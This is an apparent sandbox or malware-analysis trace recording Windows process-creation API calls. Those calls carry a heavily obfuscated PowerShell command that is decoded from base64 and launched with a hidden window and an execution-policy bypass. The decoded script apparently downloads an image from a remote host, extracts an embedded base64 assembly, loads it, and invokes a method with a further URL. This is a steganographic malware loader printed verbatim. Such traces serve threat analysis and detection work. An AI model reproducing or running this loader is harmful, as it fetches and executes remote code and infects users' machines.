&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBSChr(63)&Chr(63)GUChr(63)&Chr(63)ZgBsChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)GkChr(63)&Chr(63)bwBuChr(63)&Chr(63)C4Chr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HQChr(63)&Chr(63)eQBwChr(63)&Chr(63)GUChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)GUChr(63)&Chr(63)ZChr(63)&Chr(63)BBChr(63)&Chr(63)HMChr(63)&Chr(63)cwBlChr(63)&Chr(63)G0Chr(63)&Chr(63)YgBsChr(63)&Chr(63)HkChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BUChr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CgChr(63)&Chr(63)JwBGChr(63)&Chr(63)GkChr(63)&Chr(63)YgBlChr(63)&Chr(63)HIChr(63)&Chr(63)LgBIChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBlChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)TQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)FYChr(63)&Chr(63)QQBJChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)dChr(63)&Chr(63)B4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgChr(63)&Chr(63)4Chr(63)&Chr(63)DkChr(63)&Chr(63)cQB1Chr(63)&Chr(63)GwChr(63)&Chr(63)LwBsChr(63)&Chr(63)HQChr(63)&Chr(63)LwChr(63)&Chr(63)3Chr(63)&Chr(63)DYChr(63)&Chr(63)MQChr(63)&Chr(63)uChr(63)&Chr(63)DEChr(63)&Chr(63)NgChr(63)&Chr(63)xChr(63)&Chr(63)C4Chr(63)&Chr(63)NgChr(63)&Chr(63)1Chr(63)&Chr(63)DEChr(63)&Chr(63)LgChr(63)&Chr(63)0Chr(63)&Chr(63)DkChr(63)&Chr(63)LwChr(63)&Chr(63)vChr(63)&Chr(63)DoChr(63)&Chr(63)cChr(63)&Chr(63)B0Chr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)HYChr(63)&Chr(63)bwBrChr(63)&Chr(63)GUChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)G4Chr(63)&Chr(63)dQBsChr(63)&Chr(63)GwChr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002f4
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command $Codigo = 'JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VQByChr(63)&Chr(63)GwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwBoChr(63)&Chr(63)HQChr(63)&Chr(63)dChr(63)&Chr(63)BwChr(63)&Chr(63)HMChr(63)&Chr(63)OgChr(63)&Chr(63)vChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBwChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HMChr(63)&Chr(63)LgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQChr(63)&Chr(63)uChr(63)&Chr(63)GIChr(63)&Chr(63)cgChr(63)&Chr(63)vChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBzChr(63)&Chr(63)C8Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)wChr(63)&Chr(63)DQChr(63)&Chr(63)LwChr(63)&Chr(63)1Chr(63)&Chr(63)DYChr(63)&Chr(63)MwChr(63)&Chr(63)vChr(63)&Chr(63)DYChr(63)&Chr(63)MgChr(63)&Chr(63)xChr(63)&Chr(63)C8Chr(63)&Chr(63)bwByChr(63)&Chr(63)GkChr(63)&Chr(63)ZwBpChr(63)&Chr(63)G4Chr(63)&Chr(63)YQBsChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBuChr(63)&Chr(63)GkChr(63)&Chr(63)dgBlChr(63)&Chr(63)HIChr(63)&Chr(63)cwBvChr(63)&Chr(63)F8Chr(63)&Chr(63)dgBiChr(63)&Chr(63)HMChr(63)&Chr(63)LgBqChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQBnChr(63)&Chr(63)D8Chr(63)&Chr(63)MQChr(63)&Chr(63)2Chr(63)&Chr(63)DkChr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)5Chr(63)&Chr(63)DMChr(63)&Chr(63)MQChr(63)&Chr(63)4Chr(63)&Chr(63)DUChr(63)&Chr(63)NQChr(63)&Chr(63)nChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)B3Chr(63)&Chr(63)GUChr(63)&Chr(63)YgBDChr(63)&Chr(63)GwChr(63)&Chr(63)aQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BOChr(63)&Chr(63)GUChr(63)&Chr(63)dwChr(63)&Chr(63)tChr(63)&Chr(63)E8Chr(63)&Chr(63)YgBqChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBOChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FcChr(63)&Chr(63)ZQBiChr(63)&Chr(63)EMChr(63)&Chr(63)bChr(63)&Chr(63)BpChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)dwBlChr(63)&Chr(63)GIChr(63)&Chr(63)QwBsChr(63)&Chr(63)GkChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HQChr(63)&Chr(63)LgBEChr(63)&Chr(63)G8Chr(63)&Chr(63)dwBuChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)RChr(63)&Chr(63)BhChr(63)&Chr(63)HQChr(63)&Chr(63)YQChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FUChr(63)&Chr(63)cgBsChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)RQBuChr(63)&Chr(63)GMChr(63)&Chr(63)bwBkChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)FUChr(63)&Chr(63)VChr(63)&Chr(63)BGChr(63)&Chr(63)DgChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BTChr(63)&Chr(63)HQChr(63)&Chr(63)cgBpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)DwChr(63)&Chr(63)PChr(63)&Chr(63)BCChr(63)&Chr(63)EEChr(63)&Chr(63)UwBFChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BfChr(63)&Chr(63)FMChr(63)&Chr(63)VChr(63)&Chr(63)BBChr(63)&Chr(63)FIChr(63)&Chr(63)VChr(63)&Chr(63)Chr(63)&Chr(63)+Chr(63)&Chr(63)D4Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)DwChr(63)&Chr(63)PChr(63)&Chr(63)BCChr(63)&Chr(63)EEChr(63)&Chr(63)UwBFChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BfChr(63)&Chr(63)EUChr(63)&Chr(63)TgBEChr(63)&Chr(63)D4Chr(63)&Chr(63)PgChr(63)&Chr(63)nChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)BPChr(63)&Chr(63)GYChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwBlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)KwChr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)RgBsChr(63)&Chr(63)GEChr(63)&Chr(63)ZwChr(63)&Chr(63)uChr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)C0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)FMChr(63)&Chr(63)dQBiChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EwChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBDChr(63)&Chr(63)G8Chr(63)&Chr(63)bgB2Chr(63)&Chr(63)GUChr(63)&Chr(63)cgB0Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EYChr(63)&Chr(63)cgBvChr(63)&Chr(63)G0Chr(63)&Chr(63)QgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)EMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)FsChr(63)&Chr(63)UwB5Chr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)G0Chr(63)&Chr(63)LgBSChr(63)&Chr(63)GUChr(63)&Chr(63)ZgBsChr(63)&Chr(63)GUChr(63)&Chr(63)YwB0Chr(63)&Chr(63)GkChr(63)&Chr(63)bwBuChr(63)&Chr(63)C4Chr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)F0Chr(63)&Chr(63)OgChr(63)&Chr(63)6Chr(63)&Chr(63)EwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GMChr(63)&Chr(63)bwBtChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBuChr(63)&Chr(63)GQChr(63)&Chr(63)QgB5Chr(63)&Chr(63)HQChr(63)&Chr(63)ZQBzChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HQChr(63)&Chr(63)eQBwChr(63)&Chr(63)GUChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)GUChr(63)&Chr(63)ZChr(63)&Chr(63)BBChr(63)&Chr(63)HMChr(63)&Chr(63)cwBlChr(63)&Chr(63)G0Chr(63)&Chr(63)YgBsChr(63)&Chr(63)HkChr(63)&Chr(63)LgBHChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BUChr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CgChr(63)&Chr(63)JwBGChr(63)&Chr(63)GkChr(63)&Chr(63)YgBlChr(63)&Chr(63)HIChr(63)&Chr(63)LgBIChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBlChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)bQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)TQBlChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)BvChr(63)&Chr(63)GQChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)FYChr(63)&Chr(63)QQBJChr(63)&Chr(63)CcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)dChr(63)&Chr(63)B4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgChr(63)&Chr(63)4Chr(63)&Chr(63)DkChr(63)&Chr(63)cQB1Chr(63)&Chr(63)GwChr(63)&Chr(63)LwBsChr(63)&Chr(63)HQChr(63)&Chr(63)LwChr(63)&Chr(63)3Chr(63)&Chr(63)DYChr(63)&Chr(63)MQChr(63)&Chr(63)uChr(63)&Chr(63)DEChr(63)&Chr(63)NgChr(63)&Chr(63)xChr(63)&Chr(63)C4Chr(63)&Chr(63)NgChr(63)&Chr(63)1Chr(63)&Chr(63)DEChr(63)&Chr(63)LgChr(63)&Chr(63)0Chr(63)&Chr(63)DkChr(63)&Chr(63)LwChr(63)&Chr(63)vChr(63)&Chr(63)DoChr(63)&Chr(63)cChr(63)&Chr(63)B0Chr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)HYChr(63)&Chr(63)bwBrChr(63)&Chr(63)GUChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)G4Chr(63)&Chr(63)dQBsChr(63)&Chr(63)GwChr(63)&Chr(63)LChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)YQByChr(63)&Chr(63)GcChr(63)&Chr(63)dQBtChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)=';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 1152
thread_handle: 0x00000458
process_identifier: 2056
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
